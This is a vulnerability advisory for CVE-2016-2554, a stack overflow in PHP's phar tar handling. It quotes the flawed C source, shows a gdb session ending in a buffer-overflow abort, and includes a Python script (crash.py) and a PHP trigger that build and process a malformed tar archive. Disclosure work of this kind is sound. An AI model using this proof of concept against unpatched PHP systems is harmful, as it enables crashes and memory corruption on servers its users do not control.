CVE-2016-2554: php: stack overflow when decompressing tar archives
Feb 23, 2016A stack overflow may occur in PHP[1] when decompressing tar archives due
to phar_tar_writeheaders()
potentially copying non-terminated
linknames from entries parsed by phar_parse_tarfile()
(tested with
5.6.11, 5.6.17 and 7.0.2).
php-5.6.17/ext/phar/tar.h #65..94:
typedef struct _tar_header { /* { { { */
[...]
char linkname[100]; /* name of linked file */
char magic[6]; /* USTAR indicator */
char version[2]; /* USTAR version */
char uname[32]; /* owner user name */
char gname[32]; /* owner group name */
char devmajor[8]; /* device major number */
char devminor[8]; /* device minor number */
char prefix[155]; /* prefix for file name;
the value of the prefix field, if non-null,
is prefixed to the name field to allow names
longer then 100 characters */
char padding[12]; /* unused zeroed bytes */
} PHAR_TAR_PACK tar_header;
php-5.6.17/ext/phar/tar.c #198..678:
int phar_parse_tarfile(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, int is_data, php_uint32 compression, char **error TSRMLS_DC) /* { { { */
{
char buf[512], *actual_alias = NULL, *p;
phar_entry_info entry = {0};
size_t pos = 0, read, totalsize;
tar_header *hdr;
php_uint32 sum1, sum2, size, old;
phar_archive_data *myphar, **actual;
int last_was_longlink = 0;
[...]
read = php_stream_read(fp, buf, sizeof(buf));
[...]
do {
[...]
hdr = (tar_header*) buf;
[...]
if (entry.tar_type == TAR_LINK) {
[...]
entry.link = estrdup(hdr->linkname);
} else if (entry.tar_type == TAR_SYMLINK) {
entry.link = estrdup(hdr->linkname);
}
[...]
read = php_stream_read(fp, buf, sizeof(buf));
[...]
} while (read != 0);
[...]
}
/* }}} */
linkname is expected to be <=100 bytes and it’s estrdup:ed from
((tar_header *)buf)->linkname
to entry.link
. However, since there’s
no guarantee that linkname
or any of the following buffers are
NUL-terminated, the resulting entry.link
may be at least
sizeof(linkname) + … + sizeof(padding) = 355 bytes (and possibly
bigger depending on where \0 is encountered).
As the header is later written in phar_tar_writeheaders()
, linkname is
strncpy:d to char linkname[100]
with a len based on the source string.
php-5.6.17/ext/phar/tar.c #688..835:
static int phar_tar_writeheaders(void *pDest, void *argument TSRMLS_DC) /* { { { */
{
tar_header header;
[...]
phar_entry_info *entry = (phar_entry_info *) pDest;
[...]
if (entry->link) {
strncpy(header.linkname, entry->link, strlen(entry->link));
}
[...]
}
/* }}} */
With php-5.6.17 compiled with -D_FORTIFY_SOURCE=2:
$ python crash.py crash.tar
$ gdb --args php-5.6.17/bin/php phar.php crash.tar ext
(gdb) b tar.c:490
(gdb) r
Breakpoint 1, phar_parse_tarfile [...]
490 entry.link = estrdup(hdr->linkname);
(gdb) call strlen(hdr->linkname)
$1 = 617
(gdb) printf "%s\n", hdr->linkname
linkname...linkname...linkname...linkname...linkname...linkname...
linkname...linkname...linkname...lmagic...uname...uname...uname...
uname...gname...gname...gname...gname...major...minor...prefix...
prefix...prefix...prefix...prefix...prefix...prefix...prefix...
prefix...prefix...prefix...prefix...prefix...prefix...prefix...
prefix...prefix...prpadding...paprefix...prefix...prefix...
prefix...prefix...prefix...prefix...prefix...prefix...prefix...
prefix...prefix...prefix...prefix...prefix...prefix...prefix...
pr/name...name...name...name...name...name...name...name...name...
name...name...name...name...name...na?????
(gdb) b strncpy
(gdb) c
Breakpoint 2, phar_tar_writeheaders [...]
756 strncpy(header.linkname, entry->link, strlen(entry->link));
(gdb) p sizeof(header.linkname)
$2 = 100
(gdb) s
strncpy (__len=617, __src=0x7ffff7fdbbe0 "linkname...linkname...
linkname...linkname...linkname...linkname...linkname...linkname...
linkname...lmagic...uname...uname...uname...uname...gname...gname...
gname...gname...major...minor...prefix...pre"..., __dest=0x7fffffffa13d "")
at /usr/include/x86_64-linux-gnu/bits/string3.h:126
126 return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest));
(gdb) c
Continuing.
*** buffer overflow detected ***: /home/php/php-5.6.17/bin/php terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x78c4e)[0x7ffff6fa7c4e]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff7047e8c]
/lib/x86_64-linux-gnu/libc.so.6(+0x116e80)[0x7ffff7045e80]
/lib/x86_64-linux-gnu/libc.so.6(+0x116319)[0x7ffff7045319]
/home/php/php-5.6.17/bin/php[0x5983e4]
/home/php/php-5.6.17/bin/php(zend_hash_apply_with_argument+0x79)[0x6f4cf9]
/home/php/php-5.6.17/bin/php[0x59aa84]
/home/php/php-5.6.17/bin/php[0x5af476]
/home/php/php-5.6.17/bin/php[0x5ba050]
/home/php/php-5.6.17/bin/php[0x5baf2a]
/home/php/php-5.6.17/bin/php[0x79543f]
/home/php/php-5.6.17/bin/php(execute_ex+0x40)[0x723a50]
/home/php/php-5.6.17/bin/php(zend_execute_scripts+0x180)[0x6e7dd0]
/home/php/php-5.6.17/bin/php(php_execute_script+0x280)[0x683160]
/home/php/php-5.6.17/bin/php[0x796f32]
/home/php/php-5.6.17/bin/php[0x423c9e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff6f4fa40]
/home/php/php-5.6.17/bin/php(_start+0x29)[0x423de9]
======= Memory map: ========
00400000-00bff000 r-xp 00000000 08:01 557690 /home/php/php-5.6.17/bin/php
00dfe000-00e8f000 r--p 007fe000 08:01 557690 /home/php/php-5.6.17/bin/php
00e8f000-00e98000 rw-p 0088f000 08:01 557690 /home/php/php-5.6.17/bin/php
00e98000-01051000 rw-p 00000000 00:00 0 [heap]
7ffff44f3000-7ffff4931000 r--p 00000000 08:01 136079 /usr/lib/locale/locale-archive
7ffff4931000-7ffff4947000 r-xp 00000000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff4947000-7ffff4b46000 ---p 00016000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff4b46000-7ffff4b47000 r--p 00015000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff4b47000-7ffff4b48000 rw-p 00016000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff4b48000-7ffff4cbb000 r-xp 00000000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7ffff4cbb000-7ffff4eba000 ---p 00173000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7ffff4eba000-7ffff4ec4000 r--p 00172000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7ffff4ec4000-7ffff4ec6000 rw-p 0017c000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
7ffff4ec6000-7ffff4eca000 rw-p 00000000 00:00 0
7ffff4eca000-7ffff6780000 r-xp 00000000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1
7ffff6780000-7ffff697f000 ---p 018b6000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1
7ffff697f000-7ffff6980000 r--p 018b5000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1
7ffff6980000-7ffff6981000 rw-p 018b6000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1
7ffff6981000-7ffff699a000 r-xp 00000000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff699a000-7ffff6b99000 ---p 00019000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff6b99000-7ffff6b9a000 r--p 00018000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff6b9a000-7ffff6b9b000 rw-p 00019000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff6b9b000-7ffff6d1a000 r-xp 00000000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1
7ffff6d1a000-7ffff6f1a000 ---p 0017f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1
7ffff6f1a000-7ffff6f2a000 r--p 0017f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1
7ffff6f2a000-7ffff6f2b000 rw-p 0018f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1
7ffff6f2b000-7ffff6f2f000 rw-p 00000000 00:00 0
7ffff6f2f000-7ffff70ef000 r-xp 00000000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so
7ffff70ef000-7ffff72ef000 ---p 001c0000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so
7ffff72ef000-7ffff72f3000 r--p 001c0000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so
7ffff72f3000-7ffff72f5000 rw-p 001c4000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so
7ffff72f5000-7ffff72f9000 rw-p 00000000 00:00 0
7ffff72f9000-7ffff74a6000 r-xp 00000000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7ffff74a6000-7ffff76a6000 ---p 001ad000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7ffff76a6000-7ffff76ae000 r--p 001ad000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7ffff76ae000-7ffff76b0000 rw-p 001b5000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7ffff76b0000-7ffff76b1000 rw-p 00000000 00:00 0
7ffff76b1000-7ffff76b4000 r-xp 00000000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so
7ffff76b4000-7ffff78b3000 ---p 00003000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so
7ffff78b3000-7ffff78b4000 r--p 00002000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so
7ffff78b4000-7ffff78b5000 rw-p 00003000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so
7ffff78b5000-7ffff79bc000 r-xp 00000000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so
7ffff79bc000-7ffff7bbb000 ---p 00107000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so
7ffff7bbb000-7ffff7bbc000 r--p 00106000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so
7ffff7bbc000-7ffff7bbd000 rw-p 00107000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so
7ffff7bbd000-7ffff7bd4000 r-xp 00000000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so
7ffff7bd4000-7ffff7dd4000 ---p 00017000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so
7ffff7dd4000-7ffff7dd6000 r--p 00017000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so
7ffff7dd6000-7ffff7dd7000 rw-p 00019000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so
7ffff7dd7000-7ffff7dd9000 rw-p 00000000 00:00 0
7ffff7dd9000-7ffff7dfd000 r-xp 00000000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so
7ffff7e51000-7ffff7fea000 rw-p 00000000 00:00 0
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00023000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so
7ffff7ffd000-7ffff7ffe000 rw-p 00024000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Program received signal SIGABRT, Aborted.
0x00007ffff6f64267 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
55 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb)
phar.php
<?php
if ($argc != 3) {
die("$argv[0] filename extension\n");
}
$p = new PharData($argv[1]);
$newp = $p->decompress($argv[2]);
?>
crash.py
# This creates an example .tar with:
#
# 1. a pax header with a ustar\x0000 magic
# 2. a symbolic link with mostly bogus header data
#
# `old' (tar.c:226) will be false due to #1, and with the prefix data of #2,
# `hdr->prefix' will be concatenated with `hdr->name' in `char name[256]',
# starting on tar.c:401:
#
# else if (!last_was_longlink && !old && hdr->prefix[0] != 0) { ... }
#
# hdr->linkname..hdr->padding in #2 won't be NUL-terminated, resulting
# in a longer than 100 byte `entry.link' in tar.c:490:
#
# entry.link = estrdup(hdr->linkname);
#
# With the php5-cli (5.6.11+dfsg-1ubuntu3.1) package provided by Ubuntu
# 15.10, as well as with a self-built php-5.6.17, `hdr' is followed by
# the concatenated `name' buffer.
#
# The resulting `entry.link' will thus be hdr->linkname..hdr->padding
# (355 bytes) + name (256 bytes) + whatever else until a NUL byte is
# encountered.
#
# The invocation of `strncpy()' in `phar_tar_writeheaders()' (tar.c:756)
# will therefore end up copying >= 611 bytes to `header.linkname' (100
# bytes)
#
# strncpy(header.linkname, entry->link, strlen(entry->link));
#
import sys
import struct
from tarfile import (TarFile, TarInfo, calc_chksums, stn, itn,
POSIX_MAGIC, PAX_FORMAT, REGTYPE, BLOCKSIZE, SYMTYPE)
class Info(TarInfo):
@staticmethod
def _create_header(info, format):
"""
_create_header() is more or less copy-pasted from
python2.7/tarfile.py with some minor changes to avoid
NUL-termination.
"""
magic = POSIX_MAGIC
if info["name"] != "././@PaxHeader":
magic = "magic..."
parts = [
stn(info.get("name", ""), 100),
itn(info.get("mode", 0) & 07777, 8, format),
itn(info.get("uid", 0), 8, format),
itn(info.get("gid", 0), 8, format),
itn(info.get("size", 0), 12, format),
itn(info.get("mtime", 0), 12, format),
" ", # checksum field
info.get("type", REGTYPE),
stn(info.get("linkname", ""), 100),
pad(magic, 8),
pad("uname...", 32),
pad("gname...", 32),
pad("major...", 8),
pad("minor...", 8),
pad("prefix...", 155),
pad("padding...", 12)
]
buf = struct.pack("%ds" % BLOCKSIZE, "".join(parts))
chksum = calc_chksums(buf[-BLOCKSIZE:])[0]
buf = buf[:-364] + "%06o\0" % chksum + buf[-357:]
return buf
def pad(s, length):
return (s * length)[:length]
def main():
if len(sys.argv) != 2:
sys.exit("%s out" % sys.argv[0])
tar = TarFile(sys.argv[1], "w", format=PAX_FORMAT)
info = Info()
info.type = SYMTYPE
info.linkname = pad("linkname...", 155)
info.name = pad("name...", 100)
tar.addfile(info)
tar.close()
if __name__ == "__main__":
main()
Solution
This issue has been assigned CVE-2016-2554 [2] and it has been fixed in version 5.5.32, 5.6.18 and 7.0.3.